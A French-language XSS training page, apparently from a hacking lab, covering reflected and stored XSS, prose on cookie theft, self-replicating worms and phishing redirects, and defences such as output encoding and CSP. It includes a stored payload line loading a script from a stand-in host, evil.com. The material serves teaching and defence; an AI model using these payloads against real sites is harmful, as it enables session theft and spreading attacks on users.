← QUITTER_ACADEMIE
NET_WATCH // TRAINING_FACILITY
XSS_OPERATOR_V3

01 // THEORIE DU XSS

Le Cross-Site Scripting (XSS) est une injection de code côté client. Contrairement à la SQLi qui attaque le serveur, la XSS attaque les autres utilisateurs.

Le Mécanisme (Trust Betrayal)

Le navigateur fait confiance à tout ce que le site lui envoie. Si le site renvoie votre propre texte (ex: un commentaire) sans le nettoyer, et que ce texte contient du HTML/JS, le navigateur l'exécutera.

// LE SERVEUR DIT :
print("Bonjour " . $username);

// L'ATTAQUANT DIT :
$username = "<script>steal_money()</script>";

Pour le navigateur, le script steal_money() est une instruction légitime venant du site officiel.

02 // REFLECTED XSS

L'attaque non-persistante. Le payload est dans le lien lui-même.

Scénario d'Attaque

  1. L'attaquant trouve un champ de recherche vulnérable.
  2. Il fabrique un lien piégé : site.com/?search=<script>...
  3. Il envoie le lien à la victime (Phishing).
  4. La victime clique et le script s'exécute dans SON navigateur.
DANS CE LABO : Utilisez la barre de recherche "City Link" pour tester le Reflected XSS. Si votre alert() s'affiche, vous avez gagné.

03 // STORED XSS

L'attaque la plus dangereuse (Persistante). Le payload est stocké dans la base de données.

Impact Viral

Une fois le script "posté" (dans un commentaire, un profil, un post...), il sera servi à chaque visiteur de la page. C'est l'équivalent d'une mine antipersonnel numérique.

// PAYLOAD DANS LA DB :
"Super article ! <script src='http://evil.com/worm.js'></script>"
DANS CE LABO : Postez un commentaire piégé. Rechargez la page. Si l'alerte revient à chaque refresh, c'est du Stored XSS.

04 // ADVANCED WEAPONIZATION

Afficher alert(1) est amusant, mais les vrais hackers opèrent différemment. Voici les techniques avancées disponibles dans l'Arsenal.

1. Vol de Session (Cookie Hijacking)

Le classique. Exfiltrer le document.cookie vers un serveur contrôlé (C2) pour usurper l'identité de la victime.

2. Self-Replicating Worm (Le Virus)

L'attaque ultime. Le script injecté utilise AJAX pour poster sa propre copie sur le site. Chaque victime qui voit le message infecté le reposte automatiquement, créant une réaction en chaîne exponentielle (comme le ver Samy sur MySpace).

3. Phishing & Redirection

Au lieu de rester sur la page infectée, le script redirige silencieusement l'utilisateur vers une copie parfaite de la page de login ("Session Expirée"). Si l'utilisateur tape son mot de passe, il est envoyé à l'attaquant.

4. Browser Fingerprinting

Le script collecte silencieusement des données techniques (Résolution, OS, GPU, Plugins) pour identifier de façon unique la machine de la cible, même sans cookies.

05 // IMMUNITY_PROTOCOLS

Empêcher le XSS est simple si l'on respecte une règle : OUTPUT ENCODING.

Context-Aware Encoding

Avant d'afficher une donnée utilisateur, convertissez les caractères spéciaux en entités HTML inoffensives.

// PHP SOLUTION
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// <script> devient &lt;script&gt; (Texte visible, pas de code)

Content Security Policy (CSP)

Une défense en profondeur. Le serveur envoie un en-tête disant au navigateur : "N'exécute que les scripts venant de MON domaine, ignore tout le reste (inline)".